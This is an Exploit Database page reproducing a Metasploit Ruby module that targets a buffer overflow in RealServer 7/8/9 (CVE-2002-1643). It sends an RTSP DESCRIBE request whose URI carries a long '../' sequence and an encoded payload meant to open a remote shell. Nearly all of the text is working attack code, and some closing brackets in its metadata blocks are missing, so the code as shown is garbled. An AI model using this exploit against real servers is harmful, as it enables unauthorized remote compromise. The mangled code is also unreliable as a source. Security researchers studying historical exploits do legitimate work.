RealServer – Describe Buffer Overflow (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2010-08-07
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16286/

# $Id: describe.rb 9971 2010-08-07 06:59:16Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'RealServer Describe Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in RealServer 7/8/9

and was based on Johnny Cyberpunk's THCrealbad exploit. This

code should reliably exploit Linux, BSD, and Windows-based

servers.

'Author' => 'hdm',

'Version'=> '$Revision: 9971 $',

'References' =>

[

[ 'CVE', '2002-1643' ],

[ 'OSVDB', '4468'],

[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']

'Privileged' => true,

'Payload'=>

{

'Space'=> 2000,

'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"

'Targets'=>

[

'Universal',

{

'Platform' => [ 'linux', 'bsd', 'win' ]

'DisclosureDate' => 'Dec 20 2002',

'DefaultTarget' => 0))

end

def check

res = send_request_raw(

{

'method' => 'OPTIONS',

'proto'=> 'RTSP',

'version' => '1.0',

'uri'=> '/'

}, 5)

info = http_fingerprint({ :response => res })# check method / Custom server check

if res and res['Server']

print_status("Found RTSP: #{res['Server']}")

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Safe

end

def exploit

print_status("RealServer universal exploit launched against #{rhost}")

print_status("Kill the master rmserver pid to prevent shell disconnect")

encoded = Rex::Text.to_hex(payload.encoded, "%")

res = send_request_raw({

'method' => 'DESCRIBE',

'proto'=> 'RTSP',

'version' => '1.0',

'uri'=> "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"

}, 5)

handler

end